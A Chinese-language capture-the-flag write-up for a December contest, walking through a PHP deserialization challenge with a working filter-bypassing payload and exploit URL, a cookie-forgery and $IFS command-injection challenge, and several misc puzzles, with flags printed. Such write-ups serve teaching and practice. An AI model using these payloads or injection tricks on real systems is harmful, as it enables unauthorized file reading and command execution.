PRELOADER

当前文章 : 《安恒杯十二月月赛》

12/2/2019 —— 

WEB

easy

访问题目链接,给出了源码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
public $file;
function __toString()  
{  
if(isset($this->file)) 
{
$filename = "./{$this->file}";
if (file_get_contents($filename)) 
{  
return file_get_contents($filename); 
} 
} 
}  
}  
if (isset($_GET['data']))  
{ 
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
} 
} 
else 
{ 
highlight_file("./index.php"); 
} 
?>

很明显的是一道反序列化漏洞的题目,不太明白的读者可以查看一下:PHP反序列化由浅入深

在这道题目中自带一个baby类,里面__toString() 中可以用file_get_contents读文件内容:

可以自己本地来测试一下,获取序列化的对象。

<?php  

include 'flag.php';

class baby

{   

    public $file;

    function __toString()      

    {          

        if(isset($this->file))

        {

            $filename = "./{$this->file}";        

            if (file_get_contents($filename))         

            {              

                return file_get_contents($filename);

            }

        }     

    }  

}  



$a = new baby();

$a -> file = "flag.php";

//echo $a->__toString(); 

echo serialize($a); 
?>

得到:

O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

因为存在过滤出语句

preg_match('/[oc]:\d+:/i',$data,$matches);

所以需要绕过,用加号进行绕过:

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

但如果直接传值的话会,服务器接收到会把加号认为空格,所以要对加号url编码:

O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

然后直接访问:
http://101.71.29.5:10007/index.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

访问后查看源代码得到:

$flag = 'flag{ad2328a2c3f0933c053fd3c6f28f6143}';

ezweb2

请求包中发现一个user=base64字符串

base64解码之后得到

改成adminbase64一下,发现跳转到后台admin.php

开始以为是ssrf,简单的试了个http://www.baidu.com提示error,然后又试了一个ls发现有回显。

试了个ls /又提示error,经过测试发现过滤了空格,可以用$IFS绕过。

读取一下就会得到flag

MISC

签到题

在公众号中回复一下就可以了

JUJU

提示女朋友问我这11只JUJU哪只好看?答案提交flag{}括号内的值(flag中的字符串md5后提交)。

这一题有点像前几天SWPUCTF2018中的签到题,由于提示中给出的是11只,更改一下高度就可以了

把给出的字符进行base32解码就可以了,当时我想到的使用base64进行解码,发现是乱码,看了一下题目提示有MD5我使用md5加解密之后还是

不正确,问了一下客服(qaq),提示:你再看看题目

后来想到使用BASE32,进行解码(QAQ)

学习资料

zip加密,一般zip加密只有那几种,并且打开zip文件里面还有一个已经给出的txt文件,还有一个经过加密的zip文件,很明显是明文攻击就可以了

拿到密码,打开doc文件。。。。。。

flag在图片的后面,移动图片就可以拿到flag:Flag{edaa144c91a4e5b817e4a18cbdb78879}

总结:推荐一个学习CTF的平台:https://ctf-wiki.github.io/ctf-wiki/